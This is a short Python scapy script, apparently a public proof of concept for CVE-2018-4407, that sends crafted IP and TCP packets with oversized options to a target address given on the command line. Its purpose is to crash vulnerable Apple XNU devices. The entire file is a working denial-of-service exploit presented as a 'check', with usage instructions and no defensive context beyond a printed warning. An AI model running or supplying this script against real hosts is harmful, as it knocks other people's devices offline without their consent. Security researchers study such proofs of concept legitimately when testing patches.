# CVE-2018-4407 ICMP DOS 
# https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407 
# from https://twitter.com/ihackbanme 

import sys 
try:
    from scapy.all import * 
except Exception as e:
    print ("[*] You need install scapy first:\n[*] sudo pip install scapy ") 
    
if __name__ == '__main__': 
    try:
        check_ip = sys.argv[1]
        print ("[*] !!!!!!Dangerous operation!!!!!!")
        print ("[*] Trying CVE-2018-4407 ICMP DOS " + check_ip)
        for i in range(8,20):
            send(IP(dst=check_ip,options=[IPOption("A"*i)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
        print ("[*] Check Over!! ") 
    except Exception as e: 
        print("[*] usage: sudo python check_icmp_dos.py 127.0.0.1")